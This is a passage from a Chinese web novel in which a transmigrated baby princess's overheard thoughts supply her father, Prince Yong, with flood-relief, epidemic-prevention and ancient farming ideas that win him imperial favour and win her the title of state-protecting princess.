【老百姓的想法其实特别简单,无非就是想有钱挣,吃饱饭...完全可以“以工代赈”嘛!】
【组织青壮灾民去修复堤坝,管饭同时还给工钱。老弱妇孺则负责一些缝补、做饭的轻快活计,同样管饭。】
【但是这种出了力的灾民,他们吃的饭一定要区别与不出工的灾民饭的质量,这样大家才有积极性。】
【这样的话,既解决了人力问题,又避免了灾民太闲而生出乱子。】
【其实,最重要的还是防疫。】
【大灾过后必有大疫!还是要赶快组织人手清理淤泥,掩埋已经死掉的尸体。】
【入口的水一定要烧开,还要多烧艾草,用石灰消毒...】
【我记得有本书里好像记录过类似防疫的方法来着,好像是叫《周礼·秋官》?】
姜肃越听,眼睛越亮。
小本本上密密麻麻记录了好多东西。
女儿说的那本《周礼·秋官》被他着重做了标记。
号召义商!以工代赈!防疫措施!
稚儿提出的这一套组合拳,思路清晰,方法具体,甚至引用了典籍,绝非空谈!
尤其是“以工代赈”,简直是神来之笔!
既安抚了灾民,又可以修复河堤,简直一举两得!
渭河的百姓有救了!
姜肃兴奋地走到女儿跟前,将女儿高高抱起,“稚儿,你可真是我大晟的福星!爹爹以你为荣!”
而姜稚则是一脸茫然地瞅着自己爹爹。
【我做啥了?这就被爹爹亲亲,抱抱,举高高?难道是因为我太可爱了?好吧,这下本郡主的可爱漂亮,算是实锤了!】
姜肃瞬间被女儿自恋的心声逗乐了。
想到马上就可以为渭河的百姓分忧,姜肃已经按捺不住...
第12章 福娃名声高高挂起
第二日,朝堂之上。
朝臣对于渭河赈灾之事,依旧争论不休。
皇帝脸色阴沉地看着底下吵嚷的臣子。
雍王姜肃见其他人始终拿不出像样的主意,便不再犹豫,深吸一口气,出列躬身道:“父皇,儿臣有本奏!”
争吵声戛然而止,所有人的目光都**到这位近来风头正劲的雍王身上。
皇帝抬了抬眼皮:“讲。”
“如今灾情紧急,然国库空虚亦是事实。儿臣认为,或可双管齐下。”
“哦?如何双管齐下?”皇帝来了兴趣。
姜肃将女儿的心声稍加润色后,开始将如何号召京城富商捐赠,以及“以工代赈”的实施方法向皇帝和众臣娓娓道来。
朝堂之上一片寂静,随即响起了低低的议论声。
雍王的想法,在当下这个时刻,无疑是新颖且极具操作性的。
它们巧妙地将赈济灾民和修复工程结合了起来,化被动救济为主动生产!
“此外,”姜肃趁热打铁,“洪水过后,死去的动物和百姓的尸体极易招致毒虫,很可能造成疫病。”
“儿臣查阅古籍,见《周礼·秋官》有载,‘除毒蛊,以嘉草攻之’,‘除蠹物,以莽草熏之,凡庶蛊之事。’,既然艾草熏烧可祛除蛊虫,想必对防疫之事亦有作用。”
“儿臣认为,既如此,当立刻组织人手,就地深埋人畜尸体,广泛使用艾草、石灰等物消毒避秽,以防大疫。”
皇帝听完,沉吟良久,眼中精光闪过。
他看向雍王的眼神,带上了之前从未有过的审视和探究。
这个儿子,自从有了女儿之后,真的跟之前完全不一样了。
不仅能“巧合”地撞破太子谋逆一案,还能在赈灾之事上有如此新颖的见解和周全的思虑。
是背后有高人指点?
还是他的那个安宁郡主是“福星”降世,不仅能保佑他,连带着脑子也帮他开了窍?
“雍王所奏,思虑周详,颇具见地。”皇帝最终开口,一锤定音。
“传朕旨意,着雍王姜肃,协同户部、工部,全权负责此次渭河水患赈灾及河道修复事宜。”
“儿臣领旨!定不负父皇所托!”姜肃躬身领命,丝毫没有察觉到皇帝眼中的审视和怀疑。
退朝后,姜肃立刻雷厉风行地行动起来。
首先,他以雍王府的名义,带头捐出了一大笔钱粮。
然后广发帖子,召集京城有头有脸的商人,晓之以情,动之以理,许之以利,很快便筹措到了首批赈灾物资。
同时,“以工代赈”的告示贴满了灾区和京城,大量的灾民被有序地组织起来投入到修复堤坝的工作中。
工地上炊烟袅袅。
虽然劳作辛苦,但吃食丰富,还能拿到工钱,灾民的情绪迅速稳定下来。
整个赈灾过程高效、有序,与以往灾后的混乱景象形成了鲜明对比。
百姓们都对雍王的所有举措交口称赞。
有同僚询问雍王是如何想到那些好主意的。
姜肃骄傲地告诉同僚,是他在抱着自己女儿,看她咿呀学语,忽有所感,才想到的法子。
话里话外,就将安宁郡主当做了自己的福星。
这话慢慢传了出去。
渐渐地,在民间和部分朝臣口中,雍王家那位从出生便化解了血光之灾,护佑雍王免受太子陷害,还间接给自己父亲带来赈灾治国良策灵感的安宁郡主——姜稚,被蒙上了大晟“福星”的色彩。
而这段时间,无论多晚,只要姜肃回到雍王府,都会先去听竹轩看望妻女二人。
这日晚间,姜肃回到听竹轩,看到妻子林月瑶还在灯下核对商行初期的账目。
女儿姜稚在一旁,似乎正努力尝试翻身。
【唉呀妈呀,翻身怎么这么难!脖子一点儿劲都没有,动一下就把我累得够呛!我什么时候能长大啊!好想跑,好想跳!】
姜肃失笑走上前,抱起刚刚终于成功翻身,正兴奋地挥舞着小胳膊小腿的女儿。
看着女儿亮晶晶、充满活力的眼睛,想到女儿刚刚依靠她自己翻身成功,姜肃的脸上露出了欣慰的笑容。
随手又拿了一件外衣,为妻子披上,顺手接过妻子手中的笔,柔声道:
“这些琐事
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,明日再忙不迟,仔细眼睛疼。”
林月瑶抬头温柔一笑,“王爷在外辛苦,妾身做些力所能及的事,心里踏实。”
而被抱在怀中的姜稚,作为父母爱情的结晶,一直是父母温馨互动的见证者。
【哎,今天又是被爹娘塞**粮的一天!不过看在他们颜值高又恩爱的份上,本宝宝就忍了!】
【爹爹今天看起来有些累啊!但是看他斗志满满,想来赈灾应该是挺顺利的。爹爹加油!等本宝宝能走了,亲自陪着你一起搞个大项目!】
听着女儿老气横秋的话,看着灯下妻子温柔的侧脸,姜肃只觉得连日的疲惫都一扫而空。
他伸手将妻子揽入怀中,又低头亲了亲女儿的脸蛋。
“阿瑶,稚儿,有你们在,真好!”
......
渭河水患的赈灾事宜,在雍王姜肃的主持下,一直有条不紊地进行着。堤坝修复的速度也远超以往。
加之有效的防疫措施,灾后并未出现大规模疫病。
雍王仁德能干的名声,随着灾民的感恩戴德和往来商旅的传播,迅速在京畿乃至更远的地方扩散开来。
而伴随着雍王贤名一起传出的,还有尚在襁褓中的安宁郡主“福星”的名头。
不知从何时起,民间开始流传一种说法:雍王殿下能想到妙法,是抱着小郡主时福至心灵,得到了上天指引。
更有甚者,将之前太子倒台也归功于小郡主的“福气”压制上。
这种说法,越传越广,竟有了几分众口铄金的架势。
这一日,皇宫,御书房。
皇帝姜桓看着手中暗卫呈上的密报。
里面详细记录了民间关于雍王和小郡主的种种传闻。
他手指轻轻敲击着龙案,目光深沉。
“福星?上天指引?”皇帝低声咀嚼着这两个词,嘴角挂着一个意味不明的弧度。
“看起来,朕这个孙女,倒是比他爹更能招惹是非啊。满月宴上意外撞破龙袍案,如今这赈灾良策也隐隐与她有关...会是巧合吗?”
“可有的时候,巧合多了,可就不是巧合了...”
第13章 爹爹,是时候该往农学上靠靠了
皇宫,御书房内。
皇帝姜桓在研究手中的密报。
侍立一旁的太监总管赵德全小心翼翼伺候着:
“陛下,关于“福星”一说,皆是些无知愚民的妄言,当不得真。但雍王殿下此次赈灾,确实尽心尽力,方法也得当。”
皇帝不置可否,将密报放下,转而问道:“雍王殿下除了赈灾,近来还在忙些什么?”
“回陛下,听说雍王殿下为了给王妃和郡主搜罗一些江南的稀罕物,前些时日办了一家商行,名为‘通达’。顺便还做一些南货北运的生意,以此来维持商行正常运行的开支。”
赵德全顿了顿,继续补充道,“雍王殿下似乎格外看重安宁郡主,有时还会将政务文书带到听竹轩处理。说是要沾沾郡主的福气。”
“哦?是吗?”
皇帝听后,眼中精光一闪,“雍王真的是对女儿溺爱至此?还是有别的目的?他现在身上所发生的一起,真的只是巧合?”
“赵德全,传旨。明日朕要亲临渭河堤坝巡视,看看‘以工代赈’的成效。令雍王随驾。”
皇帝思考了一会儿,又道,“让雍王妃带着安宁郡主也一同前来。朕也是许久未见这个小孙女儿了。”
“老奴遵旨。”
......
雍王府,听竹轩。
姜肃正陪着王妃林月瑶和女儿姜稚玩耍。
小小的姜稚已经能靠坐着,手里还拿着一个色彩鲜艳的布老虎,咿咿呀呀地自得其乐。
倘若有人细看,便会发现,她那双黑葡萄似的大眼睛里,时常会闪过与婴儿身份不符的思索光芒。
【无聊啊无聊!我的人生除了吃玩睡,难道就不能有点别的活动了吗?】
【不过,今天听下人们说,爹爹最近赈灾进行得相当不错。他们还说爹爹都是因为我这个‘福星’,才有了今天的成就。怎么感觉有点小骄傲了呢!】
【爹爹现在名声在外,也算是把朝堂声望的基础打好了。相信以后在朝廷行事也更为方便。】
听着女儿老气横秋的点评,姜肃不禁莞尔。
他忍不住拿起一个拨浪鼓,在女儿面前轻轻摇晃吸引她的注意力,逗得姜稚一直伸出小胖手去抓,但却次次落空。
姜稚被自己的行动迟缓气坏了,憋着嘴差点哭出来。
姜肃看到女儿红了眼眶,立马丢下拨浪鼓,一把将姜稚抱起来轻声逗弄着,直到看到女儿重展笑颜,才作罢。
“王爷,”林月瑶一旁看着父女互动,满脸都是温柔的笑意,轻声道,“妾身听闻,外面都在传颂王爷的贤明,还说都是稚儿给咱王府和王爷带来了福气呢。”
姜肃不置可否,顺势道:“或许吧。不过只要跟稚儿在一起,看着她纯净的眼睛,确实觉得心思都通透了许多。这孩子,或许真的是老天派来助我们的。”
姜肃的话半真半假。
他到现在还没想好,怎样将女儿身上发生的离奇事情告诉阿瑶。所以只能暂时先瞒下来。
【本宝宝肯定是来助你们的啊。老天把我从现代拽到了这里,肯定有他的深意。】
【如果当初,不是本宝宝先发现玉观音里有猫腻,咱们全家不早就玩完了!】
【爹爹现在也算是迈出了进军朝堂的第一步。不过,光有名头可不行,还是要继续有一些实实在在的功劳,把名声砸实才行!】
姜稚机械地晃动着娘亲刚刚塞给她的布老虎,心里飞速盘算着。
听到女儿又有了新想法的苗头,姜肃马上打起十二分精神来仔细听讲。
【说起来,古代人最看重的莫过于...粮食!对呀!粮食是根本!】
【书上说过,大晟农业技术落后,亩产更是低得感人。】
【我记得哪本农书里说过‘代田法’?说是能防风抗旱增产?还有区田法,溲种法...这些技术如果能普及,相信渭河水患的民生也能更快得到解决。】
【可是我怎么做,才让爹爹知道这些妙法哪?】
想到这里,姜稚扔掉手中的布老虎,然后伸着小胳膊指向窗外,嘴里发出“啊,啊”的声音,表达着想要出去的意思。
她必须要行动起来,哪怕只是出去看看,相信总有机会能给她爹一点“灵感”提示。
林月瑶见状,将布老虎放到一边,带着逗弄和询问的语气,柔声道:“稚儿这是在屋里闷了?想要出去看看?”
姜肃早在听到女儿心声后,就想着找借口带女儿出去,当下心中一动,立刻顺势抱起姜稚,对林月瑶道:
“今儿天气不错,我带稚儿去书房看看。
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早点让她闻闻墨香味,以后上学堂就不会逃学了。”
在林月瑶含笑的目光中,父女俩一起出了房间,走向了书房。
而姜稚听到要去的地方,心里更是激动不已。
一到书房,姜稚的大眼睛就开始好奇地打量着四周。
姜肃更是故意将女儿抱到了农书类附近,方便女儿查找。
果然,没多久,姜稚的目光就落在了书架上一册有些年头的《农桑辑要》上。瞬间,整个人就兴奋起来,小手拼命挥动,企图吸引姜肃注意。
【爹爹的藏书好多啊!竟然还有《农桑辑要》?就是它!爹爹,快看这里!就是那本农书,快拿下来翻翻,里面可能有咱们要的东西!】
听着女儿在心里急得已经变调的心声,姜肃暗笑,面上却不动声色地走到书架旁,假装翻阅起来。
在女儿越来越急的嘤嘤语气下,姜肃才顺着女儿蹦跶的力道,取下了书架上的《农桑辑要》。
然后,姜肃故作感慨道:
“唉!民生多艰,首重农桑!为父近日忙于赈灾,更深感于此。想不到稚儿竟然跟为父志同道合,想到一起去了。果然是为父的贴心小棉袄。”
说着,便抱着姜稚坐下,开始翻阅起来。
而姜稚也没闲着,她努力伸长了自己的小脖子,装作对这本书十分感兴趣的模样,小手指也快速地在书页上划拉着。
【翻快一点,翻快一点!对!就是这里!这里有‘溲种法’的记录,讲的是用肥料和药物处理种子,能防虫抗旱...】
【不过,这些方法还是要结合农田的实际情况来操作。可惜,我只会纸上谈兵,希望这些东西能给爹爹启发。】
在女儿“卖力”的提示下,姜肃也留意到了书里的记录,结合自己有限的农事知识,只觉得思路豁然开朗!
“妙啊!这些法子若能推行,或许真能增产!”姜肃阅读了一番,忍不住拍案叫绝。看向女儿的目光,也是充满了毫不掩饰的惊叹和感激。
他的稚儿,果然是上天派来助他的!
正当姜肃还抱着女儿在沉心研究农书时,宫中传旨的太监到了。
圣旨宣召他明日随驾巡视河工,并特意叮嘱雍王妃携女伴驾。
姜肃无法揣度圣意,惟有欣然接旨。
第14章 皇家认证的“镇国福娃”
翌日,天气晴好。
皇帝仪仗浩浩荡荡出了京城,前往渭河堤坝。
姜肃与抱着女儿的林月瑶一同随驾。
工地上,灾民们正在官吏的组织下辛勤劳作,待看到皇帝仪仗后,纷纷跪地叩拜,口呼万岁。
他们脸上洋溢着希望和感激,这与以往灾后死气沉沉的景象截然不同。
皇帝走出圣驾车辇,看着热火朝天的工地,以及精神面貌尚可的灾民们,微微颔首。
但目光却时不时扫过被雍王妃抱在怀里那位,穿着红色小袄裙的安宁郡主,姜稚。
此刻,姜稚睁着乌溜溜的大眼睛,好奇地看着工地上这宏大的场面,一点也不怯场。
【哇!这就是古代的施工现场?还挺井然有序的嘛!爹爹这次赈灾的差事办得相当不错,我瞧着皇帝爷爷也是挺满意的。爹爹果然够优秀!】
就在姜肃听到女儿夸奖,沾沾自喜时,前方正在视察堤坝的工部官员,与负责具体施工的吏员发生了争执。
争吵声瞬间吸引了大家的注意。
众人聚到近前,才听明白他们争执的所谓何事。
两人是在因为一段堤坝的加固方案进行争吵。
工部官员倾向于保守但耗资更多的方案,而吏员则根据现场情况提出了一个更灵活、省料的法子。
皇帝听了二人的话,微微蹙眉。
而这边,姜稚的小耳朵也动了动,秀眉轻轻皱起,看起来也似在努力思考。
【哎呀,这有什么好吵的!因地制宜懂不懂?】
【那个吏员说得明显不错啊!他们争论的那段河岸水流平缓,基底也坚实,用树枝和石头捆扎沉底,既能加固又能省料,完全可行啊!】
【《河防通议》里那段记载怎么说来着...唉,想不起来了!成天吃了睡,睡了吃,脑子都生锈了,真是给我‘历史系古往今来第一博学才女’的名号抹黑了!】
姜稚的小手生气地挥舞着,似乎想给自己小小的脑袋来上一拳。
而姜肃已经清晰听到女儿的心声。
说来也巧,渭河决堤修复那段时间他也做了大量功课,正好看到过女儿提到的那本书。
就在工部官员在口舌上无法占上风,打算用官威压一压那个小吏员时,却瞥见圣驾已至眼前,便停止争论。
“肃儿,你怎么看?”
皇帝状似无意地询问道。而其实,他是想看看自己这个儿子的真实才学,确认他之前是否是挂羊头卖狗肉。
姜肃上前一步,从容开口道:“父皇,儿臣以为,李吏员所言并非没有道理。”
“《河防通议》里有载,‘凡堤岸非惟土石,亦用埽工’。若此地,确如李吏员所说那样水流平缓,基底坚实,那以‘埽工’辅助,确有奇效。”
“若工部的人不放心,不妨先让精通此道的老师傅实地勘验,若可行,岂不是两全其美?”
姜肃此话一出,原本还忐忑不安的吏员,顿时投来感激的目光,而工部官员则有些愕然。
皇帝眼中闪过一丝讶异。
他先是深深地看了姜肃一眼,随后又看了看离姜肃不远处,雍王妃怀中的安宁郡主姜稚。
只见安宁郡主,在雍王开口说完后,似乎是停止了“思考”,脸上重新露出天真的笑容。
“准。”皇帝收回目光,淡淡的只说了一个字。
而后续勘验,果然证实,那吏员的方案更为合适。
这段小插曲结束后,皇帝带着众人继续巡视渭河河堤。
“肃儿,这‘以工代赈’,确实是个好法子。”
皇帝难得地夸赞一句。
姜肃恭敬回道:“这皆是父皇圣心独运,儿臣也只不过是依命行事。能见到百姓安居乐业,河工顺利进行,儿臣便已心满意足了。”
皇帝看了姜肃一眼,不置可否,继续向前走。
而随行的官员们,包括谢太师等世家重臣,看着眼前的一幕,神色各异。
有赞赏,有深思,亦有忌惮...
巡视到一段刚刚加固好的堤坝时,皇帝姜桓忽然停下脚步,远眺着奔流的渭河水,随口问道:
“肃儿,你觉得这天下,什么最难?”
姜肃心中凛然。
他深知这是一个看似简单,实则极难回答的问题。
正斟酌着用词,想着怎么回答父皇的提问,脑海中女儿的心声不期而至。
【果然,历史上的皇帝都是一个样子。都喜欢用这种别扭的问题考较自己的儿子。】
【天下什么最难?管理人心最难呗!】
【简单点说,就是让各式各样的人,心甘情愿地为你干活、纳税、打仗,还不说你的坏话。】
【具体点嘛,就是搞钱的
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时候,不被人骂敛财;分蛋糕的时候,不让内部的人打起来;选能干的人干活,但是自己不被架空;对付外面的强盗,家里还不被拖垮…】
原来如此。
女儿说的内容清晰明了、直指核心,比空谈“忠君爱国”要务实得多。
姜肃听了女儿的话,心中如同吃了定心丸,沉思片刻,沉稳答道:
“回父皇,儿臣浅见,治国之难,难在四事:民生、财政、吏治和军事。此四事犹如车之四轮,缺一不可,偏废不得…”
【爹爹简直跟我肚子里的蛔虫一样,把我之前说的全都概括到了。不亏是本郡主以后的‘保护伞’,这才华一看就随我。】
而皇帝听了,眼中赞赏之色更浓。
他没想到,从前那个只知风花雪月、附庸太子的儿子,果真有如此见识。
皇帝走到雍王妃林月瑶面前,看着她怀里的姜稚抓着一枚随身玉佩玩得正欢,便伸出手逗了逗姜稚的小下巴。
姜稚顺势抬起头,对着皇帝露出了一个无齿的、极其灿烂的笑容。
小手还有力地挥动了一下,似乎是在对雍王刚刚说的话表示赞同。
皇帝看着姜稚纯真无邪的笑脸,联想到雍王近日来的变化和方才的对答,心中那种微妙的感觉越发清晰。
“你能想到这些,已属不易。看来,你的安宁郡主,确实是个‘福星’。”
皇帝这番话可谓是意味深长。
既认可了雍王姜肃的见解,同时也是默认了民间关于“福娃”的传闻。
还未等群臣缓过神来,皇帝威严的声音接着传来:
“赵德全替朕传旨。雍王女姜稚,诞育皇家。自降生,祥瑞屡显,社稷得安。自今日起,晋封为‘镇国安宁公主’,赐金册宝玺,享双倍公主俸禄。望其福泽绵长,永镇国邦。”
旨意一出,满场皆惊。
而事件的核心——女主姜稚,在听到“镇国”、“双倍俸禄”时,眼睛瞬间亮得惊人!
【双倍俸禄!哇!皇帝爷爷太大气了!这下我的启动资金更充裕了!成为富一代的口号再也不是梦!】
她兴奋地在雍王妃怀里蹬着小腿,发出欢快的“咯咯”声,为这笔财富的到来开心不已。
“镇国福娃”的名号,自此不再是民间流传,而是正式得到了皇家的官方认证。
第15章 代田增产,爹爹来了解一下?
渭河河道上。
皇帝姜桓旨意一出,全场震惊。
就连雍王姜肃和雍王妃也当场愣住,沉浸在巨大的惊喜和不安中无法自拔。
皇帝看着孙女姜稚脸上“无忧无虑”的笑容,脸上也跟着露出笑意。
不管这镇国公主的“福气”是真是假,至少目前看来,于大国于小家,似是无害,且…有益。
随行的官员们,心中皆是震动。
陛下此言,几乎等于公开承认了安宁郡主,不,现在应该是“镇国安宁公主”的“福星”的地位。
这对于一个皇室女婴而言,可谓是前所未有的荣宠!
在大家各怀心事中,皇帝巡视结束,打道回宫。
回到马车上,雍王妃林月瑶紧紧抱着女儿姜稚,满心不安。
而雍王姜肃,看着女儿因为玩累了而沉沉睡去的恬静小脸,心中则是充满了激动和责任感。
“稚儿,”姜肃看着女儿的睡颜,在心中低声承诺,“你的‘镇国’之路,爹爹会陪着你一起走的!”
而睡梦中的姜稚,梦见自己手持金算盘,脚下踩金矿,身后还有千军万马陪她一起指点江山…
嘴角忍不住微微上扬起来。
就在“镇国福娃”之名轰动朝野之际,遥远的北疆,风沙漫天。
一名身着染血铠甲的少年校尉,刚刚击退了一小队匈奴游骑,回到营帐休息。
他面容冷峻,眉眼间带着与年龄不符的坚毅和煞气。
此人,正是姜寒川!
他接过手下递上的一封来自京城的密信。
信中详细描述了京城近来的风云变幻,尤其是关于雍王姜肃及其女儿姜稚“镇国福娃”的种种传闻。
“姜肃…福娃...”
姜寒川低声念着这几个词,冰冷的眼眸中闪过好奇。
那个在他离京时,还只是个庸碌皇子的雍王,竟然能在短时间内扳倒太子,还能想到“以工代赈”这样的法子?
还有那个据说能带来福运的小侄女…
姜寒川放下秘信,抬头看向京城的方向,眼中神色意味不明。
或许,这京城的风,真的要变了。
而他这只北疆的“孤狼”,也是时候考虑一下,未来的路,该如何走了。
姜寒川唤来亲信,低声吩咐了几句,话语间赫然与雍王新成立的“通达商行”有关。
一条无形的线,似乎正在通过冥冥中的指引,开始将原本毫无交集的孤狼与雍王府,缓缓连接…
……
“镇国安宁公主”的册封,如同在平静的湖面上投下巨石,涟漪迅速扩散至朝野的每一个角落。
道贺的,观望的,忌惮的…
各色眼光聚焦于雍王府,尤其聚焦在那个尚在襁褓、却已经名动京城的小公主——姜稚身上。
雍王姜肃对外界的一切眼光都泰然对待,甚至乐见其成。
在姜肃看来,女儿的名头响亮,在某种程度上更会成为她一种无形的护身符。
姜肃更深知,自己乃至雍王府能得到父皇青眼,这背后都是女儿堪称“先知”的智慧。
他必须更加谨慎地守护住女儿,守护住这个秘密,才能更好地护住他们的小家。
虽说女儿到来之后,所发生的一切,已经脱离了女儿“预言”过的悲惨结局的轨道。
但自己唯有拼出一些实实在在的功绩,才能真正稳住这来之不易的局面。
所以,册封带来的喧嚣尚未完全平息时,姜肃便又投入到实务当中。
渭河堤坝修复工程已近尾声,灾民陆续返乡重建家园。
而如何提高灾区的良田产量,成了姜肃新的思考方向。
听女儿之前指点自己农学的语气,想必这位“女诸葛”的小脑瓜中,肯定还存有不少这方面的知识。
姜肃打定主意,要继续去跟女儿“讨教”一下。
这日,姜肃特意抱着已经能熟练爬行,对什么都充满好奇的姜稚,在王府后院散步。
路过自己特意选择的菜地附近时,看到几颗长势不错的白菜,顺势抱着女儿走近了些,然后作叹息状:
“瞧瞧这白菜,若是天下田亩皆能如此青翠,产量再高些,百姓便能少些饥饿了。之前虽学习了《农桑辑要》收获良多,但是里面对农田增产的信息提及太少。实在可惜。”
【爹爹这忧国忧民的心
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真是时刻在线啊!若是想增产,有办法啊!‘代田法’了解一下?虽然不是最先进的育种技术,但放到现在,绝对是个大杀器!】
姜稚的心声如期而至,脸上更是带着一种“这题我会”的兴奋和一丝丝嫌弃。仿佛是在嫌弃她这个爹爹,连这个都没想到。
姜肃心中暗笑,面上却依旧装着愁眉不展,接着自言自语道:
“古籍有云‘畎亩之法’,乃古圣先贤所创,据说能保亩增产。只是年代久远,记载不详,若能找到方式方法,效法古人,那百姓岂不是都能解决温饱!”
【我的好爹爹呀!你说的‘畎亩之法’,就是‘代田法’!《汉书·食货志》里明确记载过:‘一亩三甽,岁代处,故曰代田。’】
【简单地说,就是在一亩地里开三条沟,起三条垄,沟和垄每年互换位置种植。】
【垄嘛,可以防风保庄稼,农作物根系就会扎得深;沟呢,方便排水和施肥。土地轮流休息,地里的养分就不容易耗尽,产量自然就上去了嘛!】
姜肃听得心潮澎湃,面上却装作露出沉思之色。
他轻轻拍着女儿的后背,表面是在安抚女儿,实则是在压抑自己激动的心情。
接着脚下生风般往书房走去,嘴里还直念叨:“我想起来哪本书上有记载种植方法的了!是叫《汉书》嘛!瞧我这个脑子。”
转眼间,父女二人来到书房,瞧见雍王妃也在里面,正在收拾一些散乱在桌上的书籍。
姜肃兴奋地上前,将种田妙法跟妻子分享,其中当然省略了女儿心声的全部信息。
接着便小心翼翼地单手抱着女儿,在书架上翻找。
终是在一个角落里,找到了那本《汉书》。
姜肃翻开书卷,找到《食货志》的部分,仔细阅读起来。林月瑶也好奇地一起凑过去看。
“找到了!”姜肃惊呼出声。
一旁的林月瑶也惊讶道:“竟真有此法!王爷真是博闻强识!”
姜肃终是忍不住激动,将姜稚轻轻抛向空中,然后双手又稳稳接住:
“稚儿!你不亏是爹爹的‘小福星’!”
第16章 全家组团,给十三皇叔送温暖
书房内。
姜稚刚刚体验了一把失重的感觉,兴奋极了,抓着爹爹姜肃的衣领“咯咯”地笑个不停。
眼角瞥到书上的内容,突然想起了一些关键地方,心里碎碎念起来。
【说起来,这些老祖宗说话真是喜欢言简意赅。这书上关于代田法的种植方法说得也太简略了些…】
【这个沟要挖一尺深一尺宽,垄也要一样高才行!至于种什么作物,还是要搞试点先试验一下,不能直接推广!】
姜肃对女儿的想法很是赞同。
但听着女儿的口气,心中也不禁失笑。
这明显是怕他搞砸了呀!
怎么能对自己的爹爹这么没有信心呢!
他合上书,对着王妃林月瑶正色道:“虽是古法,但记载过于简陋。”
“不如这样,我们在京郊皇庄先划出百亩田地,五十亩上等,五十亩中等,依此书上记载尝试一遍。至于沟垄的具体规格,我结合其他农书,找农学博士再揣摩一下。”
说到这儿,姜肃将目光落到了女儿姜稚身上。
“若是此法能成,便是稚儿带来的福气,让我有幸能想起翻阅此书;若不成,也只当是积累经验。”
林月瑶看着丈夫认真的神色,又看看他怀里正好奇伸手去抓书页的女儿,柔顺点头:
“王爷思虑周祥,妾身也觉得甚好。稚儿长大后,若知自己幼时能间接助益农事,定也会开心的。”
说话间,伸手轻轻握住女儿的小手,防止她快速翻动时,被书页划伤。
姜肃见妻子并未起疑,心中松了口气,顺势道:“那便这么定了。福伯!”
待福伯应声进来,姜肃便将自己从古籍中“领悟”的详细方案仔细交代下去,并特别强调了需要“仔细观察沟垄尺寸”和“选择合适的农作物”。
福伯虽觉此法闻所未闻,但见自家王爷如此郑重,且说得条理清晰,尤其看到小公主在王爷怀里,睁着乌溜溜的大眼睛,仿佛也在聆听。
并且像是认可般,是不是还发出“啊”的一声,便更觉此法或许真有神异,立刻领命去办。
刚处理完农田事宜,便有侍卫进到书房来禀报其他事情。
“王爷,‘通达商行’第一批货物已经顺利抵达江南,换购的粮食、药材和皮货正在回运途中。另外...北疆那边,又有消息传来。”
侍卫压低声音,递上一封没有任何标识的密信。
信中称,姜寒川今日率部成功突袭了一个中型匈奴部落,斩获颇丰,再次以军功晋升。
更重要的是,他似乎也一直在暗中留意京城动向,似乎对雍王府相关消息,特别是关于“镇国安宁公主”的传闻格外关注。
并且,姜寒川通过某些隐秘渠道,似乎正在尝试接触一些来自京城“通达商行”的物资。
姜肃并没有向妻女隐瞒信件上的内容,而是一五一十地告诉了母女二人。
【哇!未来的北疆战神竟然开始关注我们家了?还特别关注我?嘿嘿,看来本公主魅力不小嘛!】
【战神主动接触商行,说明他不排斥,甚至有合作意向!机会这不就主动送上门了嘛!他肯定缺不少东西。】
【我的好爹爹,你的机会又来了!现在雪中送炭可比之后锦上添花强一百倍!把他喂饱了,以后他才好给咱家卖命...哦,不是!是精诚合作!】
姜稚心里开心极了,语气中还上了一点小得意和小算计。
而林月瑶听了信上所说,面露不忍:“十三弟年少离家,在北疆那种地方靠自己挣前程,属实辛苦。王爷,我们能否帮衬一二?”
【娘亲心肠真好!帮!必须帮!爹爹,一定要抓住这个机会,以后他就是咱们的强力外援!】姜稚心声立刻激动地响起。
而此刻,姜肃心中已有定策。
连远在北疆的“孤狼”都因稚儿之名而侧目,这“镇国福娃”的影响力,已开始初显。
他顺着妻子的话说道:“阿瑶所言极是!”
接着朝侍卫吩咐:“通知商行,下次前往北疆的商队,规模扩大一倍。货物中,增加三成数量的上等金疮药,冻伤膏,御寒棉衣,务必要安全送达。”
姜肃吩咐着,心中有了一个长期扶持计划。
他低头看了看怀中正试图抓他玉佩玩的女儿,接着补充道,“再以‘镇国安宁公主’的名义,额外准备一份厚礼,主要是北疆稀缺的药材和书籍,单独送给十三皇子,算是公主对这个皇叔的一份心意。”
姜肃刻意点出“镇国公主”的名号,既抬高了女儿的身份,又淡化了要结盟的色彩,显得更有人情味。<
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br>林月瑶听了,也是展颜一笑,“王爷想得周到,咱们王府有此殊荣,确实该惠及家人,这样才能一家和睦。”
接着低头逗弄着女儿,“是不是呀,稚儿?咱们给北疆的小皇叔送份温暖,让他知道京城这边有家人惦记他。”
小姜稚咿咿呀呀地应着,表示着自己的赞同。
而就在姜肃暗中布局北疆之事时,朝堂之上,因为雍王赈灾有功和姜稚受封带来的关注原来越多。
这日小朝会。
商议完日常政务后,吏部侍郎,出身太原王氏的王珣出列奏表:
“陛下,雍王殿下此次主持赈灾,举措得当,成效卓著,有功于社稷。然殿下如今仅领亲王虚衔,未免有些屈才…”
“臣以为,或可让雍王殿下兼任实职,譬如户部协理一职,以便日后更好为朝廷效力。”
此言一出,几位世家出身的官员纷纷附议,言辞恳切。
姜肃站在队列中,神色未动,心中却是冷笑连连。
这哪里是举荐,分明是捧杀!
他垂下眼眸,掩去其中的冷意。
忽然想起昨日夜间女儿说的话,心中难免庆幸。
听竹轩内,烛火摇曳。
林月瑶正在为他整理第二日上朝的朝服。
葱白般的指尖抚过衣襟上的绣纹,神情专注。
他在烛光下研究着已经翻看数遍的农书,心中还是对女儿的才学大感震惊。
而才被喂饱的女儿,打了个奶嗝后,正心满意足地躺在摇篮里,看着他的朝服出神。
【虽然小说的过程改写,太子提前倒台,可是当初支持他的那些世家还在。他们会眼睁睁地看着爹爹独自风光吗?】
【世家那群老狐狸们,可是心眼子比蜂窝煤都多,指不定憋着什么后招。】
【爹爹现在名声大涨,如果世家借机撺掇他进到实权部门,接着再来个捧杀,那可真是直接把爹爹架在火上烤了…】
【希望爹爹能抗住糖衣炮弹,不要被乱花迷了眼…】
当时听着女儿的心声,还觉得她是否有点过于担心。
如今看来,女儿的话竟然句句成谶。
姜肃心中微微一紧,抬眼望向朝堂之上。
那些“好意”的笑脸,此刻仿佛一张张面具。而背后深藏着,却是深不见底的算计。
第17章 盐矿初成,财政要稳了
龙椅上的皇帝姜桓,目光扫向王珣和附议的几人,又瞥向了一旁一直垂首不语,将自己置身事外的雍王,淡淡道:
“雍王此次赈灾,确实辛劳。然雍王性子喜静,户部事务未必擅长。加之镇国公主年幼,需要多加看顾。入职部吏之事,容后再议吧。”
轻描淡写的一句话,就将世家的“好意”推了回去。
雍王心中也松了一口气,连忙出列:
